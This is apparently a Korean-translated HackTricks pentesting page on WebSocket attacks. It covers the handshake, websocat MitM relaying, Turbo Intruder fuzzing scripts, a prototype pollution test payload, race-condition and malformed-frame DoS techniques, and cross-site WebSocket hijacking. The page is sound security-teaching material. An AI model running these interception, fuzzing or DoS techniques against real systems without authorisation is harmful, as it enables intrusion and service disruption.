WebSocket ๊ณต๊ฒฉ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

WebSocket์ด๋ž€

WebSocket ์—ฐ๊ฒฐ์€ ์ดˆ๊ธฐ HTTP ํ•ธ๋“œ์…ฐ์ดํฌ๋ฅผ ํ†ตํ•ด ์ˆ˜๋ฆฝ๋˜๋ฉฐ ์žฅ๊ธฐ ์œ ์ง€๋˜๋„๋ก ์„ค๊ณ„๋˜์–ด ํŠธ๋žœ์žญ์…˜ ์‹œ์Šคํ…œ ์—†์ด ์–ธ์ œ๋“  ์–‘๋ฐฉํ–ฅ ๋ฉ”์‹œ์ง•์ด ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค. ์ด๋กœ ์ธํ•ด WebSocket์€ ์ €์ง€์—ฐ ๋˜๋Š” ์„œ๋ฒ„-๋ฐœ์‹  ํ†ต์‹ ์„ ํ•„์š”๋กœ ํ•˜๋Š” ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜(์˜ˆ: ์‹ค์‹œ๊ฐ„ ๊ธˆ์œต ๋ฐ์ดํ„ฐ ์ŠคํŠธ๋ฆผ)์— ํŠนํžˆ ์œ ๋ฆฌํ•ฉ๋‹ˆ๋‹ค.

WebSocket ์—ฐ๊ฒฐ ์„ค์ •

A detailed explanation on establishing WebSocket connections can be accessed here. ์š”์•ฝํ•˜๋ฉด, WebSocket ์—ฐ๊ฒฐ์€ ๋ณดํ†ต ์•„๋ž˜์™€ ๊ฐ™์ด ํด๋ผ์ด์–ธํŠธ ์ธก JavaScript๋กœ ์‹œ์ž‘๋ฉ๋‹ˆ๋‹ค:

var ws = new WebSocket("wss://normal-website.com/ws")

The wss ํ”„๋กœํ† ์ฝœ์€ TLS๋กœ ๋ณดํ˜ธ๋œ WebSocket ์—ฐ๊ฒฐ์„ ์˜๋ฏธํ•˜๊ณ , ws๋Š” ๋ณด์•ˆ๋˜์ง€ ์•Š์€ ์—ฐ๊ฒฐ์„ ๋‚˜ํƒ€๋ƒ…๋‹ˆ๋‹ค.

์—ฐ๊ฒฐ ์ˆ˜๋ฆฝ ๊ณผ์ •์—์„œ, ๋ธŒ๋ผ์šฐ์ €์™€ ์„œ๋ฒ„๋Š” HTTP๋ฅผ ํ†ตํ•ด handshake๋ฅผ ์ˆ˜ํ–‰ํ•ฉ๋‹ˆ๋‹ค. handshake ๊ณผ์ •์€ ๋ธŒ๋ผ์šฐ์ €๊ฐ€ ์š”์ฒญ์„ ๋ณด๋‚ด๊ณ  ์„œ๋ฒ„๊ฐ€ ์‘๋‹ตํ•˜๋Š” ์ ˆ์ฐจ๋กœ ์ด๋ฃจ์–ด์ง€๋ฉฐ, ๋‹ค์Œ ์˜ˆ์ œ์— ํ‘œ์‹œ๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค:

๋ธŒ๋ผ์šฐ์ €๊ฐ€ handshake ์š”์ฒญ์„ ๋ณด๋ƒ„:

GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket

์„œ๋ฒ„์˜ handshake ์‘๋‹ต:

HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=

์—ฐ๊ฒฐ์ด ์„ค์ •๋˜๋ฉด ์–‘๋ฐฉํ–ฅ์œผ๋กœ ๋ฉ”์‹œ์ง€๋ฅผ ์ฃผ๊ณ ๋ฐ›๊ธฐ ์œ„ํ•ด ์—ฐ๊ฒฐ์€ ์—ด๋ฆฐ ์ƒํƒœ๋กœ ์œ ์ง€๋ฉ๋‹ˆ๋‹ค.

WebSocket ํ•ธ๋“œ์…ฐ์ดํฌ์˜ ํ•ต์‹ฌ ํฌ์ธํŠธ:

  • Connection ๋ฐ Upgrade ํ—ค๋”๋Š” WebSocket ํ•ธ๋“œ์…ฐ์ดํฌ์˜ ์‹œ์ž‘์„ ์•Œ๋ฆฝ๋‹ˆ๋‹ค.
  • Sec-WebSocket-Version ํ—ค๋”๋Š” ์›ํ•˜๋Š” WebSocket ํ”„๋กœํ† ์ฝœ ๋ฒ„์ „์„ ๋‚˜ํƒ€๋‚ด๋ฉฐ, ์ผ๋ฐ˜์ ์œผ๋กœ 13์ž…๋‹ˆ๋‹ค.
  • Base64๋กœ ์ธ์ฝ”๋”ฉ๋œ ๋žœ๋ค ๊ฐ’์ด Sec-WebSocket-Key ํ—ค๋”์— ์ „์†ก๋˜์–ด ๊ฐ ํ•ธ๋“œ์…ฐ์ดํฌ๊ฐ€ ๊ณ ์œ ํ•˜๊ฒŒ ๋˜๋ฉฐ, ์ด๋Š” ์บ์‹ฑ ํ”„๋ก์‹œ์™€ ๊ด€๋ จ๋œ ๋ฌธ์ œ๋ฅผ ๋ฐฉ์ง€ํ•˜๋Š” ๋ฐ ๋„์›€์ด ๋ฉ๋‹ˆ๋‹ค. ์ด ๊ฐ’์€ ์ธ์ฆ์šฉ์ด ์•„๋‹ˆ๋ผ ์‘๋‹ต์ด ์ž˜๋ชป ๊ตฌ์„ฑ๋œ ์„œ๋ฒ„๋‚˜ ์บ์‹œ์—์„œ ์ƒ์„ฑ๋˜์ง€ ์•Š์•˜์Œ์„ ํ™•์ธํ•˜๊ธฐ ์œ„ํ•œ ๊ฒƒ์ž…๋‹ˆ๋‹ค.
  • ์„œ๋ฒ„ ์‘๋‹ต์˜ Sec-WebSocket-Accept ํ—ค๋”๋Š” Sec-WebSocket-Key์˜ ํ•ด์‹œ๋กœ, ์„œ๋ฒ„๊ฐ€ WebSocket ์—ฐ๊ฒฐ์„ ์—ด ์˜๋„๊ฐ€ ์žˆ์Œ์„ ๊ฒ€์ฆํ•ฉ๋‹ˆ๋‹ค.

์ด๋Ÿฌํ•œ ๊ธฐ๋Šฅ์€ ํ•ธ๋“œ์…ฐ์ดํฌ ๊ณผ์ •์„ ์•ˆ์ „ํ•˜๊ณ  ์‹ ๋ขฐํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•˜์—ฌ ํšจ์œจ์ ์ธ ์‹ค์‹œ๊ฐ„ ํ†ต์‹ ์˜ ๊ธฐ๋ฐ˜์„ ๋งˆ๋ จํ•ฉ๋‹ˆ๋‹ค.

Linux ์ฝ˜์†”

websocat์„ ์‚ฌ์šฉํ•˜์—ฌ WebSocket๊ณผ์˜ raw ์—ฐ๊ฒฐ์„ ์ˆ˜๋ฆฝํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

websocat --insecure wss://10.10.10.10:8000 -v

๋˜๋Š” websocat ์„œ๋ฒ„๋ฅผ ์ƒ์„ฑํ•˜๋ ค๋ฉด:

websocat -s 0.0.0.0:8000 #Listen in port 8000

MitM websocket ์—ฐ๊ฒฐ

ํ˜„์žฌ ๋กœ์ปฌ ๋„คํŠธ์›Œํฌ์—์„œ clients๊ฐ€ HTTP websocket์— ์—ฐ๊ฒฐ๋˜์–ด ์žˆ๋Š” ๊ฒƒ์„ ๋ฐœ๊ฒฌํ•˜๋ฉด, ARP Spoofing Attack ์„ ์‹œ๋„ํ•˜์—ฌ client์™€ server ์‚ฌ์ด์—์„œ MitM attack์„ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
client๊ฐ€ ๋‹น์‹ ์—๊ฒŒ ์—ฐ๊ฒฐ์„ ์‹œ๋„ํ•  ๋•Œ ๋‹ค์Œ์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v

Websockets enumeration

You can use the tool https://github.com/PalindromeLabs/STEWS to discover, fingerprint and search for known vulnerabilities in websockets automatically. ๋‹ค์Œ ๋„๊ตฌ https://github.com/PalindromeLabs/STEWS๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด websockets์—์„œ ์•Œ๋ ค์ง„ ์ทจ์•ฝ์ ์„ ์ž๋™์œผ๋กœ ๋ฐœ๊ฒฌํ•˜๊ณ , fingerprint๋ฅผ ์ƒ์„ฑํ•˜๋ฉฐ ๊ฒ€์ƒ‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Websocket Debug tools

  • Burp Suite supports MitM websockets communication in a very similar way it does it for regular HTTP communication.
  • Burp Suite๋Š” ์ผ๋ฐ˜ HTTP ํ†ต์‹ ๊ณผ ๊ฑฐ์˜ ๋™์ผํ•œ ๋ฐฉ์‹์œผ๋กœ MitM websockets ํ†ต์‹ ์„ ์ง€์›ํ•ฉ๋‹ˆ๋‹ค.
  • The socketsleuth Burp Suite extension will allow you to manage better Websocket communications in Burp by getting the history, setting interception rules, using match and replace rules, using Intruder and AutoRepeater.
  • socketsleuth Burp Suite extension๋Š” history ์กฐํšŒ, interception rules ์„ค์ •, match and replace ๊ทœ์น™ ์‚ฌ์šฉ, Intruder ๋ฐ AutoRepeater ์‚ฌ์šฉ ๋“ฑ์œผ๋กœ Burp์—์„œ Websocket ํ†ต์‹ ์„ ๋” ์ž˜ ๊ด€๋ฆฌํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ด์ค๋‹ˆ๋‹ค.
  • WSSiP: Short for โ€œWebSocket/Socket.io Proxyโ€, this tool, written in Node.js, provides a user interface to capture, intercept, send custom messages and view all WebSocket and Socket.IO communications between the client and server.
  • WSSiP: ์•ฝ์นญ โ€œWebSocket/Socket.io Proxyโ€œ์ธ ์ด ๋„๊ตฌ๋Š” Node.js๋กœ ์ž‘์„ฑ๋˜์—ˆ์œผ๋ฉฐ ํด๋ผ์ด์–ธํŠธ์™€ ์„œ๋ฒ„ ๊ฐ„์˜ ๋ชจ๋“  WebSocket ๋ฐ Socket.IO ํ†ต์‹ ์„ ์บก์ฒ˜, ์ธํ„ฐ์…‰ํŠธ, ์‚ฌ์šฉ์ž ์ •์˜ ๋ฉ”์‹œ์ง€ ์ „์†กํ•˜๊ณ  ๋ณผ ์ˆ˜ ์žˆ๋Š” ์‚ฌ์šฉ์ž ์ธํ„ฐํŽ˜์ด์Šค๋ฅผ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค.
  • wsrepl is an interactive websocket REPL designed specifically for penetration testing. It provides an interface for observing incoming websocket messages and sending new ones, with an easy-to-use framework for automating this communication.
  • wsrepl๋Š” penetration testing์„ ์œ„ํ•ด ํŠน๋ณ„ํžˆ ์„ค๊ณ„๋œ interactive websocket REPL์ž…๋‹ˆ๋‹ค. ์ด ๋„๊ตฌ๋Š” incoming websocket messages and sending new ones๋ฅผ ๊ด€์ฐฐํ•˜๊ณ  ์ „์†กํ•  ์ˆ˜ ์žˆ๋Š” ์ธํ„ฐํŽ˜์ด์Šค์™€ ์ด๋Ÿฌํ•œ ํ†ต์‹ ์„ ์ž๋™ํ™”ํ•˜๊ธฐ ์œ„ํ•œ ์‚ฌ์šฉํ•˜๊ธฐ ์‰ฌ์šด ํ”„๋ ˆ์ž„์›Œํฌ๋ฅผ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค.
  • https://websocketking.com/ itโ€™s a web to communicate with other webs using websockets.
  • https://websocketking.com/๋Š” websockets๋ฅผ ์‚ฌ์šฉํ•ด ๋‹ค๋ฅธ ์›น๊ณผ ํ†ต์‹ ํ•  ์ˆ˜ ์žˆ๋Š” ์›น ์ธํ„ฐํŽ˜์ด์Šค์ž…๋‹ˆ๋‹ค.
  • https://hoppscotch.io/realtime/websocket among other types of communications/protocols, it provides a web to communicate with other webs using websockets.
  • https://hoppscotch.io/realtime/websocket๋Š” ์—ฌ๋Ÿฌ ํ†ต์‹ /ํ”„๋กœํ† ์ฝœ ์œ ํ˜• ์ค‘ ํ•˜๋‚˜๋กœ websockets๋ฅผ ์‚ฌ์šฉํ•ด ๋‹ค๋ฅธ ์›น๊ณผ ํ†ต์‹ ํ•  ์ˆ˜ ์žˆ๋Š” ์›น ์ธํ„ฐํŽ˜์ด์Šค๋ฅผ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค.

Decrypting Websocket

Websocket Lab

In Burp-Suite-Extender-Montoya-Course you have a code to launch a web using websockets and in this post you can find an explanation. Burp-Suite-Extender-Montoya-Course์—๋Š” websockets๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ์›น์„ ์‹คํ–‰ํ•˜๋Š” ์ฝ”๋“œ๊ฐ€ ํฌํ•จ๋˜์–ด ์žˆ์œผ๋ฉฐ, this post์—์„œ ์„ค๋ช…์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Websocket Fuzzing

The burp extension Backslash Powered Scanner now allows to fuzz also WebSocket messages. You can read more infromation abou this here. Burp ํ™•์žฅ Backslash Powered Scanner๋Š” ์ด์ œ WebSocket ๋ฉ”์‹œ์ง€๋„ fuzzํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ด์ค๋‹ˆ๋‹ค. ์ž์„ธํ•œ ๋‚ด์šฉ์€ here์—์„œ ์ฝ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

WebSocket Turbo Intruder (Burp extension)

PortSwiggerโ€™s WebSocket Turbo Intruder brings Turbo Intruderโ€“style Python scripting and highโ€‘rate fuzzing to WebSockets. Install it from the BApp Store or from source. It includes two components: PortSwigger์˜ WebSocket Turbo Intruder๋Š” Turbo Intruder ์Šคํƒ€์ผ์˜ Python ์Šคํฌ๋ฆฝํŒ…๊ณผ ๊ณ ์† fuzzing์„ WebSockets์— ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. BApp Store ๋˜๋Š” ์†Œ์Šค์—์„œ ์„ค์น˜ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ตฌ์„ฑ ์š”์†Œ๋Š” ๋‹ค์Œ ๋‘ ๊ฐ€์ง€์ž…๋‹ˆ๋‹ค:

  • Turbo Intruder: highโ€‘volume messaging to a single WS endpoint using custom engines.
  • Turbo Intruder: custom engines๋ฅผ ์‚ฌ์šฉํ•ด ๋‹จ์ผ WS endpoint์— ๋Œ€ํ•ด ๋Œ€๋Ÿ‰ ๋ฉ”์‹œ์ง€๋ฅผ ์ „์†กํ•ฉ๋‹ˆ๋‹ค.
  • HTTP Middleware: exposes a local HTTP endpoint that forwards bodies as WS messages over a persistent connection, so any HTTPโ€‘based scanner can probe WS backends.
  • HTTP Middleware: ๋กœ์ปฌ HTTP endpoint๋ฅผ ๋…ธ์ถœํ•˜์—ฌ ๋ฐ”๋””๋ฅผ ์ง€์† ์—ฐ๊ฒฐ์„ ํ†ตํ•œ WS ๋ฉ”์‹œ์ง€๋กœ ์ „๋‹ฌํ•˜๋ฏ€๋กœ, ๋ชจ๋“  HTTP ๊ธฐ๋ฐ˜ ์Šค์บ๋„ˆ๊ฐ€ WS ๋ฐฑ์—”๋“œ๋ฅผ ํƒ์ƒ‰ํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค.

Basic script pattern to fuzz a WS endpoint and filter relevant responses: WS endpoint๋ฅผ fuzzํ•˜๊ณ  ๊ด€๋ จ ์‘๋‹ต์„ ํ•„ํ„ฐ๋งํ•˜๊ธฐ ์œ„ํ•œ ๊ธฐ๋ณธ ์Šคํฌ๋ฆฝํŠธ ํŒจํ„ด:

def queue_websockets(upgrade_request, message):
connection = websocket_connection.create(upgrade_request)
for i in range(10):
connection.queue(message, str(i))

def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)

@MatchRegex(r'{\"user\":\"Hal Pline\"')
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)

๋‹จ์ผ ๋ฉ”์‹œ์ง€๊ฐ€ ์—ฌ๋Ÿฌ ์‘๋‹ต์„ ์œ ๋ฐœํ•  ๋•Œ ๋…ธ์ด์ฆˆ๋ฅผ ์ค„์ด๊ธฐ ์œ„ํ•ด @MatchRegex(...) ๊ฐ™์€ ๋ฐ์ฝ”๋ ˆ์ดํ„ฐ๋ฅผ ์‚ฌ์šฉํ•˜์„ธ์š”.

HTTP ๋’ค์— ์žˆ๋Š” WS ๋ธŒ๋ฆฌ์ง€ (HTTP Middleware)

์ง€์†์ ์ธ WS ์—ฐ๊ฒฐ์„ ๋ž˜ํ•‘ํ•˜๊ณ  HTTP bodies๋ฅผ WS messages๋กœ ์ „๋‹ฌํ•˜์—ฌ HTTP scanners๋กœ ์ž๋™ํ™”๋œ ํ…Œ์ŠคํŠธ๋ฅผ ์ˆ˜ํ–‰ํ•ฉ๋‹ˆ๋‹ค:

def create_connection(upgrade_request):
connection = websocket_connection.create(upgrade_request)
return connection

@MatchRegex(r'{\"user\":\"You\"')
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)

๊ทธ๋Ÿฐ ๋‹ค์Œ ๋กœ์ปฌ๋กœ HTTP๋ฅผ ์ „์†กํ•ฉ๋‹ˆ๋‹ค; ๋ณธ๋ฌธ์€ WS ๋ฉ”์‹œ์ง€๋กœ ์ „๋‹ฌ๋ฉ๋‹ˆ๋‹ค:

POST /proxy?url=https%3A%2F%2Ftarget/ws HTTP/1.1
Host: 127.0.0.1:9000
Content-Length: 16

{"message":"hi"}

์ด๋ฅผ ํ†ตํ•ด WS ๋ฐฑ์—”๋“œ๋ฅผ ์ œ์–ดํ•˜๋ฉด์„œ โ€œํฅ๋ฏธ๋กœ์šดโ€ ์ด๋ฒคํŠธ(์˜ˆ: SQLi ์˜ค๋ฅ˜, auth bypass, command injection ๋™์ž‘)๋ฅผ ํ•„ํ„ฐ๋งํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Socket.IO ์ฒ˜๋ฆฌ (ํ•ธ๋“œ์…ฐ์ดํฌ, ํ•˜ํŠธ๋น„ํŠธ, ์ด๋ฒคํŠธ)

Socket.IO๋Š” WS ์œ„์— ์ž์ฒด ํ”„๋ ˆ์ด๋ฐ์„ ์ถ”๊ฐ€ํ•ฉ๋‹ˆ๋‹ค. ํ•„์ˆ˜ ์ฟผ๋ฆฌ ๋งค๊ฐœ๋ณ€์ˆ˜ EIO(์˜ˆ: EIO=4)๋กœ ์ด๋ฅผ ๊ฐ์ง€ํ•ฉ๋‹ˆ๋‹ค. Ping (2)์™€ Pong (3)์œผ๋กœ ์„ธ์…˜์„ ์œ ์ง€ํ•˜๊ณ , "40"์œผ๋กœ ๋Œ€ํ™”๋ฅผ ์‹œ์ž‘ํ•œ ๋‹ค์Œ 42["message","hello"]์™€ ๊ฐ™์€ ์ด๋ฒคํŠธ๋ฅผ ์ „์†กํ•ฉ๋‹ˆ๋‹ค.

Intruder example:

import burp.api.montoya.http.message.params.HttpParameter as HttpParameter

def queue_websockets(upgrade_request, message):
connection = websocket_connection.create(
upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
connection.queue('40')
connection.queue('42["message","hello"]')

@Pong("3")
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)

@PingPong("2", "3")
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)

HTTP ์–ด๋Œ‘ํ„ฐ ๋ณ€ํ˜•:

import burp.api.montoya.http.message.params.HttpParameter as HttpParameter

def create_connection(upgrade_request):
connection = websocket_connection.create(
upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
connection.queue('40')
connection.decIn()
return connection

@Pong("3")
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)

@PingPong("2", "3")
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)

์„œ๋ฒ„์ธก prototype pollution์„ Socket.IO๋กœ ํƒ์ง€ํ•˜๊ธฐ

PortSwigger์˜ ์•ˆ์ „ํ•œ ํƒ์ง€ ๊ธฐ๋ฒ•์— ๋”ฐ๋ผ, ๋‹ค์Œ๊ณผ ๊ฐ™์€ payload๋ฅผ ์ „์†กํ•ด Express ๋‚ด๋ถ€๋ฅผ ์˜ค์—ผ์‹œ์ผœ ๋ณด์„ธ์š”:

{"__proto__":{"initialPacket":"Polluted"}}

๋งŒ์•ฝ greetings๋‚˜ ๋™์ž‘์ด ๋ณ€๊ฒฝ๋œ๋‹ค๋ฉด(์˜ˆ: echo์— โ€œPollutedโ€œ๊ฐ€ ํฌํ•จ๋จ), ์„œ๋ฒ„์ธก ํ”„๋กœํ† ํƒ€์ž…์„ ์˜ค์—ผ์‹œํ‚จ ๊ฒƒ์ผ ๊ฐ€๋Šฅ์„ฑ์ด ๋†’๋‹ค. ์˜ํ–ฅ์€ ์ ‘๊ทผ ๊ฐ€๋Šฅํ•œ sinks์— ๋”ฐ๋ผ ๋‹ฌ๋ผ์ง€๋ฏ€๋กœ, Node.js prototype pollution ์„น์…˜์˜ gadgets์™€ ์—ฐ๊ด€์ง€์–ด ํ™•์ธํ•˜๋ผ. ์ฐธ๊ณ :

WebSocket race conditions with Turbo Intruder

๊ธฐ๋ณธ ์—”์ง„์€ ๋‹จ์ผ ์—ฐ๊ฒฐ์—์„œ ๋ฉ”์‹œ์ง€๋ฅผ ๋ฐฐ์น˜ ์ฒ˜๋ฆฌํ•œ๋‹ค(์ฒ˜๋ฆฌ๋Ÿ‰์€ ์ข‹์ง€๋งŒ race์—๋Š” ๋ถ€์ ํ•ฉ). THREADED ์—”์ง„์„ ์‚ฌ์šฉํ•ด ์—ฌ๋Ÿฌ WS ์—ฐ๊ฒฐ์„ ์ƒ์„ฑํ•˜๊ณ  payload๋ฅผ ๋ณ‘๋ ฌ๋กœ ์ „์†กํ•˜์—ฌ logic races(doubleโ€‘spend, token reuse, state desync)๋ฅผ ์œ ๋ฐœํ•˜๋ผ. ์˜ˆ์ œ ์Šคํฌ๋ฆฝํŠธ์—์„œ ์‹œ์ž‘ํ•ด config()์—์„œ ๋™์‹œ์„ฑ(concurrency)์„ ์กฐ์ •ํ•˜๋ผ.

  • Learn methodology and alternatives in Race Condition (see โ€œRC in WebSocketsโ€).

WebSocket DoS: malformed frame โ€œPing of Deathโ€

ํ—ค๋”์— ๊ฑฐ๋Œ€ํ•œ payload ๊ธธ์ด๋ฅผ ์„ ์–ธํ•˜์ง€๋งŒ ๋ณธ๋ฌธ์„ ์ „์†กํ•˜์ง€ ์•Š๋Š” WS ํ”„๋ ˆ์ž„์„ ๋งŒ๋“ค์–ด๋ผ. ์ผ๋ถ€ WS ์„œ๋ฒ„๋Š” ๊ธธ์ด๋ฅผ ์‹ ๋ขฐํ•˜๊ณ  ๋ฒ„ํผ๋ฅผ ๋ฏธ๋ฆฌ ํ• ๋‹นํ•˜๋ฏ€๋กœ Integer.MAX_VALUE ๊ทผ์ฒ˜๋กœ ์„ค์ •ํ•˜๋ฉด Outโ€‘Ofโ€‘Memory๋ฅผ ์œ ๋ฐœํ•ด ์›๊ฒฉ ๋น„์ธ๊ฐ€ DoS๋ฅผ ์ดˆ๋ž˜ํ•  ์ˆ˜ ์žˆ๋‹ค. ์˜ˆ์ œ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์ฐธ๊ณ ํ•˜๋ผ.

CLI and debugging

  • Headless fuzzing: java -jar WebSocketFuzzer-<version>.jar <scriptFile> <requestFile> <endpoint> <baseInput>
  • WS Logger๋ฅผ ํ™œ์„ฑํ™”ํ•ด ๋ฉ”์‹œ์ง€๋ฅผ ์บก์ฒ˜ํ•˜๊ณ  ๋‚ด๋ถ€ ID๋กœ ์ƒ๊ด€๊ด€๊ณ„ ๋ถ„์„์„ ํ•˜๋ผ.
  • ๋ณต์žกํ•œ ์–ด๋Œ‘ํ„ฐ์—์„œ ๋ฉ”์‹œ์ง€ ID ์ฒ˜๋ฆฌ ํŠœ๋‹์„ ์œ„ํ•ด Connection์˜ inc*/dec* ํ—ฌํผ๋ฅผ ์‚ฌ์šฉํ•˜๋ผ.
  • @PingPong/@Pong ๊ฐ™์€ ๋ฐ์ฝ”๋ ˆ์ดํ„ฐ์™€ isInteresting() ๊ฐ™์€ ํ—ฌํผ๋Š” ์žก์Œ์„ ์ค„์ด๊ณ  ์„ธ์…˜์„ ์œ ์ง€ํ•˜๋Š” ๋ฐ ๋„์›€๋œ๋‹ค.

Operational safety

๊ณ ์† WS fuzzing์€ ๋‹ค์ˆ˜์˜ ์—ฐ๊ฒฐ์„ ์—ด๊ณ  ์ดˆ๋‹น ์ˆ˜์ฒœ ๊ฐœ์˜ ๋ฉ”์‹œ์ง€๋ฅผ ์ „์†กํ•  ์ˆ˜ ์žˆ๋‹ค. ์ž˜๋ชป๋œ ํ”„๋ ˆ์ž„์ด๋‚˜ ๋†’์€ ์ „์†ก๋ฅ ์€ ์‹ค์ œ DoS๋ฅผ ์œ ๋ฐœํ•  ์ˆ˜ ์žˆ๋‹ค. ํ—ˆ๊ฐ€๋œ ํ™˜๊ฒฝ์—์„œ๋งŒ ์‚ฌ์šฉํ•˜๋ผ.

Cross-site WebSocket hijacking (CSWSH)

Cross-site WebSocket hijacking, also known as cross-origin WebSocket hijacking,๋Š” WebSocket ํ•ธ๋“œ์…ฐ์ดํฌ์— ์˜ํ–ฅ์„ ์ฃผ๋Š” **Cross-Site Request Forgery (CSRF)**์˜ ํŠน์ • ์‚ฌ๋ก€๋กœ ์‹๋ณ„๋œ๋‹ค. ์ด ์ทจ์•ฝ์ ์€ WebSocket ํ•ธ๋“œ์…ฐ์ดํฌ๊ฐ€ HTTP cookies๋งŒ์œผ๋กœ ์ธ์ฆ๋˜๊ณ  CSRF tokens๋‚˜ ์œ ์‚ฌํ•œ ๋ณด์•ˆ ์กฐ์น˜๊ฐ€ ์—†์„ ๋•Œ ๋ฐœ์ƒํ•œ๋‹ค.

๊ณต๊ฒฉ์ž๋Š” ์ทจ์•ฝํ•œ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์— ๋Œ€ํ•ด cross-site WebSocket ์—ฐ๊ฒฐ์„ ์‹œ์ž‘ํ•˜๋Š” malicious web page๋ฅผ ํ˜ธ์ŠคํŒ…ํ•ด ์ด๋ฅผ ์•…์šฉํ•  ์ˆ˜ ์žˆ๋‹ค. ๊ฒฐ๊ณผ์ ์œผ๋กœ ์ด ์—ฐ๊ฒฐ์€ ํ”ผํ•ด์ž์˜ ์„ธ์…˜ ์ผ๋ถ€๋กœ ์ทจ๊ธ‰๋˜๋ฉฐ, ์„ธ์…˜ ์ฒ˜๋ฆฌ ๋ฉ”์ปค๋‹ˆ์ฆ˜์— CSRF ๋ณดํ˜ธ๊ฐ€ ์—†์Œ์„ ์•…์šฉํ•˜๊ฒŒ ๋œ๋‹ค.

์ด ๊ณต๊ฒฉ์ด ์„ฑ๊ณตํ•˜๋ ค๋ฉด ๋‹ค์Œ ์š”๊ฑด์ด ํ•„์š”ํ•˜๋‹ค:

  • websocket ์ธ์ฆ์€ cookie ๊ธฐ๋ฐ˜์ด์–ด์•ผ ํ•œ๋‹ค.
  • ํ•ด๋‹น cookie๋Š” ๊ณต๊ฒฉ์ž ์„œ๋ฒ„์—์„œ ์ ‘๊ทผ ๊ฐ€๋Šฅํ•ด์•ผ ํ•œ๋‹ค(๋ณดํ†ต SameSite=None)์ด๋ฉฐ Firefox์—์„œ Firefox Total Cookie Protection์ด ํ™œ์„ฑํ™”๋˜์–ด ์žˆ์ง€ ์•Š์•„์•ผ ํ•˜๊ณ  Chrome์—์„œ blocked third-party cookies๊ฐ€ ์ฐจ๋‹จ๋˜์–ด ์žˆ์ง€ ์•Š์•„์•ผ ํ•œ๋‹ค.
  • websocket ์„œ๋ฒ„๊ฐ€ ์—ฐ๊ฒฐ์˜ Origin์„ ๊ฒ€์‚ฌํ•˜์ง€ ์•Š๊ฑฐ๋‚˜(ํ˜น์€ ์šฐํšŒ ๊ฐ€๋Šฅํ•ด์•ผ ํ•œ๋‹ค)

๋˜ํ•œ:

  • ์ธ์ฆ์ด ๋กœ์ปฌ ์—ฐ๊ฒฐ(์˜ˆ: localhost ๋˜๋Š” ๋กœ์ปฌ ๋„คํŠธ์›Œํฌ)์— ๊ธฐ๋ฐ˜ํ•œ ๊ฒฝ์šฐ, ํ˜„์žฌ ์ด๋ฅผ ๊ธˆ์ง€ํ•˜๋Š” ๋ณดํ˜ธ ์ˆ˜๋‹จ์ด ์—†์œผ๋ฏ€๋กœ ๊ณต๊ฒฉ์€ ๊ฐ€๋Šฅํ•˜๋‹ค (check more info here)

Origin check disabled in Gorilla WebSocket (CheckOrigin always true)

